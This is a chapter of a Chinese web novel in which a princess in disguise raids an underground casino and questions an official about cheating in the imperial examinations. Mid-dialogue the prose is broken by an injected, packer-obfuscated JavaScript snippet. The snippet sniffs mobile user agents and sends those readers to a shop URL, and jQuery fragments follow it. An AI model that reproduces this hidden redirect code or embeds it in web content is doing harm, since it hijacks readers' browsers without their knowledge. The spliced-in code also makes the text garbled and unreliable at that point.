43. 明若晦
作品:《郎君他非要与我结盟(重生)》 “那儿啊……自然是做一些有关钱的买卖。”青鸾掩唇浅笑,眼神挑逗,“公子有兴趣?”
尚容勾了勾唇,默声不语。
青鸾见尚容不说话顿时心中明了,以为拿捏了对方的心思,妩媚一笑:“公子既是我们这儿数一数二的大客户,今日奴家便邀公子一览,公子定会尽兴。”
尚容与魏修洵在青鸾的带领下往分岔路的右侧而去,嘈杂的声音顿时愈来愈响,不断钻入耳中。
“到了。”
青鸾掀开珠帘,尚容见橙黄的烛光下,新的一方天地映入眼帘,衣着光鲜的男男女女穿梭于赌场间,个个沉浸其中,似乎与外界相隔。
事情果然不出尚容所料,这宝昌钱庄不仅做着钱庄的生意,还在地下干着赌场的买卖,说不定还做着印子钱的生意,还真是黑白通吃,无所顾忌。
虽然尚容不曾赌过钱,却也听说过这赌场里的黑心门道,一旦染上了,不剥一层皮怕是难以脱身。只是很多人尝到了一些甜头就以为自己真是天选之子,不断投入筹码,最后才输了个倾家荡产。
是以青鸾面上虽客客气气地说要带自己这个大客户一览,实则也只是指望自己多输些钱罢了。尚容心中暗笑。
青鸾果然急不可耐,冲着尚容嫣然一笑,声音娇软:“公子,来都来了,不玩上一把?”
“来便来。”
尚容嘴角轻扬,说着从衣袖中取出一个金玉扳指放到赌桌上,双手撑住桌面。她微微侧身,余光瞥见魏修洵朝一旁的长青使了个颜色,长青就此走开。
“公子好气魄!那我这便开始了!”一个光着膀子的粗犷大汉说着便开始狂摇骰蛊。
魏修洵立在一旁,见对家眼神微动顿时心中明了。在人头攒动之时,魏修洵刻意踩住了对家身旁一男人的长袍,男人顿时摔倒在地,他微微侧身,朝尚容使了个眼色。
尚容薄唇轻抿:“大。”
对家眼神一怔,微微抬头却不敢去青鸾对视,似是有些心虚:“小。”
粗狂大汉打开骰蛊,见两枚骰子是一对五,脸色微微涨红,似是有些不情不愿地喝道:“这位……公子胜!”
尚容双手抱拳:“承让!承让!”
就在此时,尚容听得不远处有一身着暮灰色圆领长袍的中年男人朝这处飞奔而来,长青紧随其后。
魏修洵出手欲将其擒拿,尚容却见方才手握骰蛊的粗犷大汉从身旁一人的腰间掏出一把弓弩瞄准了那中年男人。
“小心!”
尚容心头一横,还未等那大汉反应过来便将长袖轻轻一扫,淡白色的粉末飞扬而出,大汉的身子晃了几下,便重重地倒了下去。
但危机尚未解除,尚容猜到若背后之人想要出手绝不会只将希望寄托在一人身上。
果然,那大汉倒下之后,赌桌旁的几个人个个眼神阴狠,手持匕首朝中年男人砍去。魏修洵见状一把抓住中年男人的衣领将其推向一旁的长青,从腰间抽出一柄软剑与来者相抗。
赌场内顿时乱作一团,不少人见状拥挤着朝外跑去,但尚容毫不在意,只因她知晓钱庄外已经布满了禁军,在场的人有一个算一个绝无可能逃出钱庄一步。
然而就在众人推搡之下,尚容发冠掉落,束起的长发顿时散落腰间。
青鸾眼神顿时阴沉:“你是女子?你究竟是何人?”
此时刺客已然都被魏修洵制服,长青将范律押在角落,肃啸率领禁军寻至此处将众人团团包围,人群顿时安静下来。
尚容将长发束起,依旧镇定自若,气度雍容:“本宫乃当朝长公主,奉陛下手令彻查春闱舞弊案,宝昌钱庄涉及违法开设地下赌场一事,钱庄内人员由禁军押至狱中听候发落。带走!”
待禁军带走其余众人后,尚容走到缩在角落里,身体忍不住剧烈颤抖的中年男人身旁。长青将人提起,尚容与其对视。
尚容勾了勾唇:“你是礼部的范律吧?”
范律满头冷汗,刻意偏过头去不敢直视尚容的眼睛:“是……是……在下是范律。不知……殿下找我有何事?”
“本宫记得这次春闱范大人是负责女试原卷的誊抄工作吧?”
“是……是……殿下。”范律经过方才生死一劫尚且惊魂未定,此时听尚容提起春闱女试一事顿时脸色惨白如纸。
尚容微微勾唇,似笑非笑:“既如此,本宫便要与范大人好好聊聊了。”
“殿下……想聊什么?”
声声入耳,范律额间沁出几滴冷汗,他眼神躲闪,显然心中有鬼。
尚容浅笑,随即从衣袖中取出薛芝的原卷和其对应的朱卷,并将两张试卷平摊在赌桌上:“考生薛芝原卷的誊抄工作当日是范大人负责的吧?”
范律心知字迹做不得假,只得应下:“回殿下,当日是下官誊写的薛芝姑娘的原卷。”
“那这原卷边缘的墨迹又作何解释?”
范律反应得极快,低声道:“殿下这便要问薛芝姑娘为何舞弊了,与下官有何关系?”
尚容早就猜到范律如此回应,唇角笑意浅淡,她将原卷递到范律手中,声音清冷:“范大人何不再好好看看这份原卷再回复本宫?”
范律心中顿时有一种不好的预感,他双手微颤地接过那份原卷,透过烛光却见那道墨痕分明暗暗发红。但他当日分明……
范律神色有些慌乱,他微微闭眼再度睁眼,似是担心自己看错了一半,却发现那墨痕依旧如方才所见一般暗暗发红。
他握着原卷的右手下意识地微微攥紧,声音有些沙哑:“殿下……这……这……这定是有人刻意为之,栽赃陷害!”
尚容眉心微挑,走到范律身前眼底压迫感尽显。
“范大人,本宫方才可什么都没说,你又如何确定这墨痕有问题,还是有人栽赃陷害呢?”
“下官……下官只是随口一说……”眼看着自己入了套,范律心中咯噔一声,顿时感觉整个身子都沉了不少,他强撑着笑道。
“这样啊……”尚容冷冷一笑,“
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13493747|140002||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
那不如范大人和本宫说说这京城的差事干得好好的,怎么说不干就不干了?那些人又为何会对范大人下死手啊?”
此时范律纵然心知不妙,却依旧死咬着不肯松口:“礼部杂事素来多,下官也是不想干了,想多出去走走,所以来宝昌钱庄取钱。”
尚容勾了勾唇,随即在桌面重重一拍,字字句句掷地有声:“范律!本宫没有精力任你在这儿空口胡诌,原卷上的墨迹泛红,此卷又只经你手,分明就是你用染了朱砂墨的笔沾了油烟墨划上的。你栽赃薛芝舞弊这一条,便可定罪!”
“你的主子今日已经派人来杀人灭口,你以为你逃得掉吗?若是你如实交代,说出幕后之人,本宫或可保你家人不死。”
范律瘫在地上,面如死灰,良久道:“是葛广伦让下官这么做的。”
尚容微微眯眼:“范律,你可知随意指认是何后果?”
“下官知晓。”范律长叹了一口气,“事已至此,下官没必要说谎,就是葛广伦,他定是察觉事情败露,便要杀人灭口。”
这显然不是尚容想要听到的答案。此次春闱舞弊案涉及范围极广,又动用了太多死士,可见背后之人的地位非同一般,无论如何看都绝不是单凭一个从三品的礼部侍郎能谋划的。
但范律有一点说得不错,事已至此他没必要在这个时候说谎。或许他说的的确是实情,只是因为他只接触到葛广伦,而根本没有机会接触到真正的背后之人。尚容眸色渐沉。
魏修洵若有所思,薄唇轻抿:“长青,去查查这宝昌钱庄背后的东家是何来历?”
“是!”
尚容心知已问不出其他,便道:“本宫说的话,自会做到。将人带走!”
“夜深了,我送殿下回公主府。”魏修洵侧身道。
尚容微微颔首:“好。”
第二日一早,尚容便收到了魏修洵便传来的消息。
长青查得宝昌钱庄竟是葛广伦的小舅子名下的产业,这似乎也就印证了葛广伦与这次春闱舞弊案有着千丝万缕的联系,但尚容却始终闷闷不乐,感觉胸口压着一块巨石几乎喘不过气来。
因为她总觉得背后仿佛有一双手,一直在推着他们往前。
将近傍晚时分,魏修洵又传来了另一个消息:葛广伦私下与睿王交往甚密,乃睿王门客,春闱前曾有多人目睹其出入睿王府。
尚容顿时心头一沉。
睿王……三皇兄尚弘。
尚容犹记得年少时三皇兄与自己走得很近,当时自己丧母遭众人冷眼相待,众多皇子公主中唯有三皇兄愿与自己亲近。但后来,三皇兄与自己走动得逐渐少了些,二人关系便也冷落了,一直到而今并无太多私交。
但即使如此,尚容亦不愿相信此事与三皇兄有关,或许这背后另有隐情,她必须一探究竟。
尚容写下一封信将其递到韶淳手中:“韶淳,将这封信交到肃啸手中,让他亲手交给父皇,本宫去一趟睿王府。”
“属下定不辱命。”